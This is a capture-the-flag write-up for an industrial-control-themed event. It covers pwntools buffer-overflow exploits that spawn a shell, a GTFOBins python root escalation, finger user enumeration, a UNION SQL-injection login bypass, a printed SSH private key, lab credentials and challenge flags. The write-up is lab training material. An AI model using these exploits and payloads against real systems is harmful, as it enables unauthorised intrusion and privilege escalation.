Three months after the infamous malware attack on the Virelia Water Control Facility, the plant resumed operations under “full remediation.” But something is off. Operators report flickering sensors, inconsistent valve pressures, and automated alerts that can’t be traced to any active process. A deeper dive reveals a chilling truth — the attacker left behind a **persistence mechanism: **A covert second-stage implant that re-established control through overlooked OT backdoors and a compromised web portal.
You are a hired red team specialist working for the Black Echo company. Your mission: Infiltrate the infected systems before the attacker activates their kill-switch. The catch? The adversary is still there. Watching. Reacting. Fighting back
Tasked with neutralising a lingering threat at the compromised Virelia Water Control Facility, we were dropped into a tense red team operation against an active adversary still embedded within the system. With the clock ticking and signs of sabotage lurking in every subsystem, we traced the attacker’s digital footprints through manipulated OT infrastructure and a backdoored web portal. This writeup captures our approach, tools, findings, and the cat-and-mouse game that followed.
Breach
This engagement aims to find a way to open the gate by bypassing the badge authentication system.The control infrastructure may hold a weakness: Dig in, explore, and see if you have what it takes to exploit it.Be sure to check all the open ports, you never know which one might be your way in!
# Nmap 7.95 scan initiated Thu Jun 26 09:07:14 2025 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,80,102,502,1880,8080,44818 -4 -sV -sC -oA scan 10.10.178.102
Nmap scan report for 10.10.178.102
Host is up, received echo-reply ttl 60 (0.24s latency).
Scanned at 2025-06-26 09:07:21 EDT for 181s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 32:47:65:7a:22:02:60:fd:5f:ee:bc:35:a8:6f:e6:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBISy/ajbqsNJYPfw3xGZ5vzCnLIkcHVkKocZZYcUP2E32ssfQ5fic8tMy3kwT9rCG22xY9Pr1xnlwdCBnQJX3gY=
| 256 89:6d:74:1c:59:e6:63:9d:dd:66:cb:f2:fa:6a:e2:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILY+LH5tJRHg5J5EuH1QHshu9Sebq4VU3rMfqpO6ksyC
80/tcp open http syn-ack ttl 60 Werkzeug httpd 3.1.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.1.3 Python/3.12.3
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-title: Gate Monitor
102/tcp open iso-tsap syn-ack ttl 60 Siemens S7 PLC
| fingerprint-strings:
| TerminalServerCookie:
|_ Cookie: mstshash=nmap
| s7-info:
| Module: 6ES7 315-2EH14-0AB0
| Basic Hardware: 6ES7 315-2EH14-0AB0
| Version: 3.2.6
| System Name: SNAP7-SERVER
| Module Type: CPU 315-2 PN/DP
| Serial Number: S C-C2UR28922012
|_ Copyright: Original Siemens Equipment
502/tcp open modbus syn-ack ttl 60 Modbus TCP
1880/tcp open vsat-control? syn-ack ttl 60
| fingerprint-strings:
| DNSVersionBindReqTCP, RPCCheck:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 200 OK
| Access-Control-Allow-Origin: *
| Content-Type: text/html; charset=utf-8
| Content-Length: 1733
| ETag: W/"6c5-hGVEFL4qpfS9qVbAlfbm9AL7VT0"
| Date: Thu, 26 Jun 2025 13:07:32 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <meta charset="utf-8">
| <meta http-equiv="X-UA-Compatible" content="IE=edge">
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
| <meta name="apple-mobile-web-app-capable" content="yes">
| <meta name="mobile-web-app-capable" content="yes">
| <!--
| Copyright OpenJS Foundation and other contributors, https://openjsf.org/
| Licensed under the Apache License, Version 2.0 (the "License");
| this file except in compliance with the License.
| obtain a copy of the License at
| http://www.apache.org/licenses/LICENSE-2.0
| Unless required by applicable law or agreed to in writing, softwa
| HTTPOptions, RTSPRequest:
| HTTP/1.1 204 No Content
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: GET,PUT,POST,DELETE
| Vary: Access-Control-Request-Headers
| Content-Length: 0
| Date: Thu, 26 Jun 2025 13:07:33 GMT
|_ Connection: close
8080/tcp open http syn-ack ttl 60 Werkzeug httpd 2.3.7 (Python 3.12.3)
|_http-server-header: Werkzeug/2.3.7 Python/3.12.3
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /login
44818/tcp open EtherNetIP-2? syn-ack ttl 60
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1880-TCP:V=7.95%I=7%D=6/26%Time=685D4615%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,799,"HTTP/1\.1\x20200\x20OK\r\nAccess-Control-Allow-Origin:\x2
SF:0\*\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x201733\r\nETag:\x20W/\"6c5-hGVEFL4qpfS9qVbAlfbm9AL7VT0\"\r\nDate:\x20T
SF:hu,\x2026\x20Jun\x202025\x2013:07:32\x20GMT\r\nConnection:\x20close\r\n
SF:\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n<meta\x20charset=\"utf-8\">\n<m
SF:eta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\">\n<meta\x2
SF:0name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1,
SF:\x20maximum-scale=1,\x20user-scalable=0\">\n<meta\x20name=\"apple-mobil
SF:e-web-app-capable\"\x20content=\"yes\">\n<meta\x20name=\"mobile-web-app
SF:-capable\"\x20content=\"yes\">\n<!--\n\x20\x20Copyright\x20OpenJS\x20Fo
SF:undation\x20and\x20other\x20contributors,\x20https://openjsf\.org/\n\n\
SF:x20\x20Licensed\x20under\x20the\x20Apache\x20License,\x20Version\x202\.
SF:0\x20\(the\x20\"License\"\);\n\x20\x20you\x20may\x20not\x20use\x20this\
SF:x20file\x20except\x20in\x20compliance\x20with\x20the\x20License\.\n\x20
SF:\x20You\x20may\x20obtain\x20a\x20copy\x20of\x20the\x20License\x20at\n\n
SF:\x20\x20http://www\.apache\.org/licenses/LICENSE-2\.0\n\n\x20\x20Unless
SF:\x20required\x20by\x20applicable\x20law\x20or\x20agreed\x20to\x20in\x20
SF:writing,\x20softwa")%r(HTTPOptions,DF,"HTTP/1\.1\x20204\x20No\x20Conten
SF:t\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-Allow-Methods
SF::\x20GET,PUT,POST,DELETE\r\nVary:\x20Access-Control-Request-Headers\r\n
SF:Content-Length:\x200\r\nDate:\x20Thu,\x2026\x20Jun\x202025\x2013:07:33\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,DF,"HTTP/1\.1\x2
SF:0204\x20No\x20Content\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-C
SF:ontrol-Allow-Methods:\x20GET,PUT,POST,DELETE\r\nVary:\x20Access-Control
SF:-Request-Headers\r\nContent-Length:\x200\r\nDate:\x20Thu,\x2026\x20Jun\
SF:x202025\x2013:07:33\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RPCCheck
SF:,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n
SF:")%r(DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:nection:\x20close\r\n\r\n");
Service Info: OS: Linux; Device: specialized; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 26 09:10:22 2025 -- 1 IP address (1 host up) scanned in 188.82 seconds
nmap Scan
Webpage Port 80
Using dirb or feroxbuster on port 1880, the path to /ui/ will be found and accessed.

ui at port 1880
Turn off the Badge Gate and the flag is shown.
THM{s4v3_th3_d4t3_27_jun3}
Flag
OSINT 1
Hexline, we need your help investigating the phishing attack from 3 months ago. We believe the threat actor managed to hijack our domain
virelia-water.it.comand used it to host some of their infrastructure at the time. Use your OSINT skills to find information about the infrastructure they used during their campaign.
https://crt.sh/?q=virelia-water.it.com
THM{Su5sss}
Flag
Start (PWN)
A stray input at the operator console is all it needs. Buffers break, execution slips, and control pivots in the blink of an eye.
Disassembling the binary, ida gave this pseudocode:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[44]; // [rsp+0h] [rbp-30h] BYREF
int v5; // [rsp+2Ch] [rbp-4h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v5 = 0;
printf("Enter your username: ");
gets(v4);
if ( v5 )
{
puts("Welcome, admin!");
print_flag();
return 0;
}
else
{
puts("Access denied.");
return 1;
}
}
v4 has a buffer size of 44 bytes and used for input via unsafe function gets.
Sending a payload of random 44 bytes of As followed by setting the lsb of v5 to anything but 0, the flow to print_flag() will be taken
from pwn import *
# Set context
context.binary = ELF('./start')
context.log_level = 'info'
# Remote connection
io = remote('IP', PORT)
# Wait for prompt
io.recvuntil(b'Enter your username:')
# Construct payload
payload = b'A' * 44 + p32(1) # 44 bytes to reach v5, overwrite with 1
# Send the payload
io.sendline(payload)
# Receive and print the rest of the output
print(io.recvall().decode())
# Close the connection
io.close()
Full Pwntools Script
THM{nice_place_t0_st4rt}
Flag
Access Granted (Reversing)
ZeroTrace intercepts a suspicious HMI login module on the plant floor. Reverse the binary logic to reveal the access key and slip past digital defences.
Disassembling the binary in ida, the entrypoint looks like this:
The ideal execution flow leads to a call to the print_flag function. From the previous block, we can identify the string "industrial" being used in a strncmp check. Therefore, providing industrial when prompted for the password will result in the flag being revealed.
from pwn import *
context.log_level = 'info'
# Target IP and port
host = 'IP'
port = PORT
# Connect to the remote service
io = remote(host, port)
# Wait for the password prompt
io.recvuntil(b'Enter the password :')
# Send the correct password
io.sendline(b'industrial')
# Receive the rest of the output and print it
output = io.recvall()
print(output.decode())
# Close the connection
io.close()
Full Pwntools Script
THM{s0meth1ng_inthe_str1ng_she_knows}
Flag
Auth (Reversing)
ZeroTrace intercepts a stripped-down authentication module running on a remote industrial gateway. Assembly scrolls across glowing monitors as she unpacks the logic behind the plant’s digital checkpoint.
Taking a look at the disassembled version of the given binary, a suspicious hex number (0xEFCDAB8967452301) could be seen loaded into rax register. Following that, the code takes in a code, calls the transform function before performing a memcmp and finally prints the flag.
The transform function performs an xor operation with 0x55 for each byte of input
unsigned __int64 __fastcall transform(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 result; // rax
unsigned __int64 i; // [rsp+18h] [rbp-8h]
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a2 )
break;
*(_BYTE *)(a1 + i) ^= 0x55u;
}
return result;
}
transform Function
With this in mind, a simple script can be derived to reverse the xor operation given the suspicious hex number 0xEFCDAB8967452301.
from pwn import *
# Target server details
HOST = '10.10.144.4'
PORT = 9005
# Hardcoded transformed value
transformed = 0xEFCDAB8967452301
# Reverse the transform (XOR with 0x55)
payload = bytes(b ^ 0x55 for b in transformed.to_bytes(8, 'little'))
# Display the payload being sent
print("[*] Sending:", payload.hex())
# Connect and send immediately
io = remote(HOST, PORT)
io.sendline(payload)
# Print full server response
print(io.recvall().decode(errors='ignore'))
# Close connection
io.close()
The decoded payload looks like 54761032dcfe98ba which was the code that the binary was looking for.
THM{Simple_tostart_nice_done_mwww}
Flag
Chess Industry (boot2root)
NullRook prowls a smart chessboard hub where automation meets strategy. In the digital workshop, subtle flaws in the robot interface threaten to tip the balance of play.
# Nmap 7.95 scan initiated Fri Jun 27 23:29:43 2025 as: /usr/lib/nmap/nmap --privileged -vvv -p 22,80,79 -4 -sV -sC -oA scan 10.10.116.253
Nmap scan report for 10.10.116.253
Host is up, received echo-reply ttl 60 (0.29s latency).
Scanned at 2025-06-27 23:29:50 EDT for 16s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 93:2a:e7:75:cb:bf:9b:db:65:e8:92:85:02:e4:24:9c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ1RxQ7eeG90K+JH4oqFNsuzmGAWAHlS0itsS0o3A4JD+YkjMw356qgI6jLTUOq945TvmGDQs9+XFxh1uGkYxv4=
| 256 59:96:41:91:31:e5:88:a4:7a:e8:93:6a:de:72:1a:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID0LxyzSqnUJBB1wHchjDRpHMPwmW4ecN53Ai30kIqqE
79/tcp open finger syn-ack ttl 60 Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-title: PrecisionChess IoT - Smart Chessboard Control
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 27 23:30:06 2025 -- 1 IP address (1 host up) scanned in 23.00 seconds
Ports 22, 79, 80 are open
Free usernames?
magnus
fabianao
Hikaru
user.txt
Initial Access
79 - Pentesting Finger - HackTricks https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-finger.html ./finger-user-enum.pl -U user.txt -t $IP
fabiano:o3jVTktarGQI07q
Creds!
fabiano’s account can be accessed via ssh.
Privilege Escalation
python | GTFOBins /usr/bin/python3.10 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’
THM{bishop_to_c4_check}
/home/fabiano/user.txt
THM{check_check_check_mate}
/root/root.txt
Simple Protocol (Reversing)
Amid whirring routers and blinking panel lights, ZeroTrace dissects a custom network protocol linking industrial subsystems. Patterns in the packet flow hint at secrets embedded deep within machine chatter.
Disassemble the main function, identify the packet structure:
data_len = recv(v8, buf, 0xCuLL, 256); // Header
if ( data_len != 12 )
{
fwrite("Failed to receive header.\n", 1uLL, 0x1AuLL, stderr);
exit(1);
}
v4 = ntohs(buf[0]);
v5 = ntohs(buf[1]);
v9 = ntohl(netlong);
payload_id = ntohl(v18);
checksum = ((unsigned __int16)(v4 ^ v5) << 16) | (unsigned __int16)payload_id;
if ( v9 != checksum )
{
fwrite("Checksum validation failed.\n", 1uLL, 0x1CuLL, stderr);
exit(1);
}
data_len = recv(v8, buf_1, 8uLL, 256); // Body
if ( data_len != 8 )
{
fwrite("Failed to receive body metadata.\n", 1uLL, 0x21uLL, stderr);
exit(1);
}
v12 = ntohl(buf_1[0]);
v13 = ntohl(buf_1[1]);
if ( v12 != payload_id )
{
fwrite("Body payload_id does not match header.\n", 1uLL, 0x27uLL, stderr);
exit(1);
}
if ( v13 > 64 )
{
fwrite("Payload size too large.\n", 1uLL, 0x18uLL, stderr);
exit(1);
}
if ( v5 == 256 )
{
print_flag((unsigned int)v8);
}
The packet consists of a Header (12 bytes) followed by a Body (8 bytes).
SectionFieldSize (Bytes)DescriptionHeaderv4216-bit field used in checksum computationv52Must be 0x0100 to trigger print_flagChecksum4Computed as ((v4 ^ v5) << 16)payload_id4Arbitrary 4-byte value (must match the one in body)Bodypayload_id4Must be equal to the payload_id in the headersize4Must be <= 0x40
Notes:
v5must be set to0x0100to activate the target behavior (print_flag).payload_idis user-controlled, but the same value must appear in both the header and body.- Ensure the checksum is calculated after choosing
v4,v5, andpayload_id. - Total packet size: 20 bytes (12-byte header + 8-byte body)
from pwn import *
# Setup
host = '10.10.147.167'
port = 4444
# Values
v4 = 0x1337
v5 = 0x0100 # 256 = command to trigger print_flag
payload_id = 0x1234
checksum = ((v4 ^ v5) << 16) | payload_id
# Header (12 bytes)
header = p16(v4, endian='big') + p16(v5, endian='big') + p32(checksum, endian='big') + p32(payload_id, endian='big')
# Body metadata (8 bytes)
body = p32(payload_id, endian='big') + p32(0x10, endian='big') # size <= 0x40
# Full packet
payload = header + body
# Send the packet
conn = remote(host, port)
conn.send(payload)
# Receive and print output
print(conn.recvall().decode(errors='ignore'))
conn.close()
THM{what-a-prot0c0l}
Flag
OSINT 2
“Great work on uncovering that suspicious subdomain, Hexline. However, your work here isn’t done yet, we believe there is more.”
Scan not found - Pentest-Tools.com https://pentest-tools.com/information-gathering/find-subdomains-of-domain/scans/chuIaawTMSVhc8Rg?view_report=true uplink-fallback.virelia-water.it.com
eyJzZXNzaW9uIjoiVC1DTjEtMTcyIiwiZmxhZyI6IlRITXt1cGxpbmtfY2hhbm5lbF9jb25maXJtZWR9In0=
TXT Record
echo "eyJzZXNzaW9uIjoiVC1DTjEtMTcyIiwiZmxhZyI6IlRITXt1cGxpbmtfY2hhbm5lbF9jb25maXJtZWR9In0=" | base64 -d
{"session":"T-CN1-172","flag":"THM{uplink_channel_confirmed}"}
B64 Decode
THM{uplink_channel_confirmed}
Flag
OSINT 3
After the initial breach, a single OT-Alert appeared in Virelia’s monthly digest—an otherwise unremarkable maintenance notice, mysteriously signed with PGP. Corporate auditors quietly removed the report days later, fearing it might be malicious. Your mission is to uncover more information about this mysterious signed PGP maintenance message.
Digging for some subdomains, the actual GitHub repo was found (GitHub pages CNAME points to
https://digger.tools/lookup/virelia-water.github.io
Heading over to the profile, only 1 repository was listed
https://github.com/virelia-water
To continue the hunt for the flag, historical commits were audited.
https://github.com/virelia-water/compliance
Found this commit:
compliance/mail-archives/ot-alerts/2025-06.html at 6d355c02e0e08525712fbd720695acd0450a067a · virelia-water/compliance
https://github.com/virelia-water/compliance/blob/6d355c02e0e08525712fbd720695acd0450a067a/mail-archives/ot-alerts/2025-06.html
The html page had a pgp signed signature embedded.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Please confirm system integrity at 03:00 UTC.
-----BEGIN PGP SIGNATURE-----
iQFQBAEBCgA6FiEEiN7ee3MFE71e3W2fpPD+sISjEeUFAmhZTEQcHGFsZXJ0c0B2
aXJlbGlhLXdhdGVyLml0LmNvbQAKCRCk8P6whKMR5ZIUCADM7F0WpKWWyj4WUdoL
6yrJfJfmUKgJD+8K1neFosG7yaz+MspYxIlbKUek/VFhHZnaG2NRjn6BpfPSxfEk
uvWNIP8rMVEv32vpqhCJ26pwrkAaUHlcPWqM4KYoAn4eEOeHCvxHNJBFnmWI5PBF
pXbj7s6DhyZEHUmTo4JK2OZmiISP3OsHW8O8iz5JLUrA/qw9LCjY8PK79UoceRwW
tJj9pVsE+TKPcFb/EDzqGmBH8GB1ki532/1/GDU+iivYSiRjxWks/ZYPu/bhktTo
NNcOzgEfuSekkQAz+CiclXwEcLQb219TqcS3plnaO672kCV4t5MUCLvkXL5/kHms
Sh5H
=jdL7
-----END PGP SIGNATURE-----
PGP signature
Split it into message.sig:
-----BEGIN PGP SIGNATURE-----
iQFQBAEBCgA6FiEEiN7ee3MFE71e3W2fpPD+sISjEeUFAmhZTEQcHGFsZXJ0c0B2
aXJlbGlhLXdhdGVyLml0LmNvbQAKCRCk8P6whKMR5ZIUCADM7F0WpKWWyj4WUdoL
6yrJfJfmUKgJD+8K1neFosG7yaz+MspYxIlbKUek/VFhHZnaG2NRjn6BpfPSxfEk
uvWNIP8rMVEv32vpqhCJ26pwrkAaUHlcPWqM4KYoAn4eEOeHCvxHNJBFnmWI5PBF
pXbj7s6DhyZEHUmTo4JK2OZmiISP3OsHW8O8iz5JLUrA/qw9LCjY8PK79UoceRwW
tJj9pVsE+TKPcFb/EDzqGmBH8GB1ki532/1/GDU+iivYSiRjxWks/ZYPu/bhktTo
NNcOzgEfuSekkQAz+CiclXwEcLQb219TqcS3plnaO672kCV4t5MUCLvkXL5/kHms
Sh5H
=jdL7
-----END PGP SIGNATURE-----
message.sig
Searching for GPG keys in the signature:
THM{h0pe_th1s_k3y_doesnt_le4d_t0_m3}
Flag
Rogue Poller (Networking)
An intruder has breached the internal OT network and systematically probed industrial devices for sensitive data. Network captures reveal unusual traffic from a suspicious host scanning PLC memory over TCP port 502.
Analyse the provided PCAP and uncover what data the attacker retrieved during their register scans.
Initially, running
tshark -r rogue-poller-1750969333044.pcapng -Y "modbus" -w modbus_only.pcap
and opening the file in wireshark,
data field is all empty.
Hence, the raw tcp payload was extracted and ran through strings:
tshark -r rogue-poller-1750969333044.pcapng -Y "modbus" -T fields -e tcp.payload > tcp_payload_hex.txt


xxd -r -p tcp_payload_hex.txt | less
THM{1nDu5tr14L_r3g1st3rs}
Industrial (PWN)
The rhythmic hum of machinery masks hidden flaws. ZeroTrace moves through the production floor, searching for a way into the plant’s forgotten subsystems.
Disassembling the binary, there are 2 interesting functions:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
printf("Enter the next command : ");
read(0, buf, 48uLL);
puts("Thanks");
return 0;
}
main function
int win()
{
return system("/bin/sh");
}
win Function
This looks to be a typical buffer overflow exploit. The payload in this case will look like
- ‘A’ * 32 (To fill the buffer)
- ‘A’ * 8 (To fill
RBP) - Address of
winfunction (Or thesystemcall)
Performing a checksec:
checksec industrial
[*] '../industrial'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
No PIE! GDB was then used to find the address of win:
(gdb) disas win
Dump of assembler code for function win:
0x00000000004011b6 <+0>: endbr64
0x00000000004011ba <+4>: push %rbp
0x00000000004011bb <+5>: mov %rsp,%rbp
0x00000000004011be <+8>: lea 0xe3f(%rip),%rax # 0x402004
0x00000000004011c5 <+15>: mov %rax,%rdi
0x00000000004011c8 <+18>: call 0x401090 <system@plt>
0x00000000004011cd <+23>: nop
0x00000000004011ce <+24>: pop %rbp
0x00000000004011cf <+25>: ret
End of assembler dump.
In the pwn script, address 0x4011be will be used instead of 0x4011b6
from pwn import *
# Binary context
context.binary = './industrial'
context.terminal = ['tmux', 'splitw', '-h']
# Build payload
payload = b'A' * 40 # 32 bytes buffer + 8 bytes saved RBP
payload += p64(0x4011be) # Skipping function prologue, jumping directly to system("/bin/sh")
# --- LOCAL ---
# p = process('./industrial')
# --- REMOTE ---
p = remote('IP', PORT)
# Interact with challenge
p.sendlineafter("Enter the next command :", payload)
p.interactive()
THM{just_a_sm4ll_warmup}
Flag
No Salt, No Shame (Crypto)
To “secure” the maintenance logs, Virelia’s gateway vendor encrypted every critical entry with AES-CBC—using the plant’s code name as the passphrase and a fixed, all-zero IV. Of course, without any salt or integrity checks, it’s only obscurity, not true security. Somewhere in those encrypted records lies the actual shutdown command.
Passphrase:
VIRELIA-WATER-FACDownload the encrypted log file attached to this task and get the flag!
from Crypto.Cipher import AES
from hashlib import sha256
# Use SHA-256 hashed passphrase
key = sha256(b"VIRELIA-WATER-FAC").digest() # 32 bytes for AES-256
# 16-byte all-zero IV
iv = b'\x00' * 16
# Read encrypted file
with open("shutdown.log-1750934543756.enc", "rb") as f:
ciphertext = f.read()
# Create cipher and decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
# Try to remove PKCS#7 padding
pad_len = plaintext[-1]
if all(p == pad_len for p in plaintext[-pad_len:]):
plaintext = plaintext[:-pad_len]
# Output for analysis
print(plaintext.decode(errors='ignore'))
THM{cbc_cl3ar4nce_gr4nt3d_10939
Flag
Under Construction (PWN)
ZeroTrace wastes no time: one misstep in the plant’s login routine, and she’s in. Credentials, shells, root, factory systems fall in quick succession.

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
ssh private key!
We need to enumerate users!
LFI!
After trying ubuntu, dev was able to login with the ssh key
GTFOBINSNo idea why copy-paste gives such margins but root!
THM{nic3_j0b_You_got_it_w00tw00t}
user.txt
THM{y0u_g0t_it_welldoneeeee}
root.txt
Uninterruptible Power Supply (Web)
Virelia simply loves buying devices from Mechacore. Their most recent acquisition is a UPS unit. Mechacore promised the login page was 100% secure. Let’s see if it can keep us out.
Heading over to the URL, a login page was discovered and tested.


SQLi Discovered in Username Field
SQLmap Discovered creds
SQLMap was used to perform automated testing, however these creds were not crackable ☹️
We could, however, perform a Union SQLi instead with this payload:
username=hehe'+UNION+SELECT+1,+'admin',+'0ebe2eca800cf7bd9d9d9f9f4aafbc0c77ae155f43bbbeca69cb256a24c7f9bb'--+-&password=hehe
Since password is SHA256 hashed, the third field (after 'admin') needs to be the hashed password (in this case hehe).
Essentially, the query backend will look like:
SELECT * FROM users WHERE username = 'hehe'
UNION SELECT 1, 'admin', '0ebe2eca800cf7bd9d9d9f9f4aafbc0c77ae155f43bbbeca69cb256a24c7f9bb'-- '
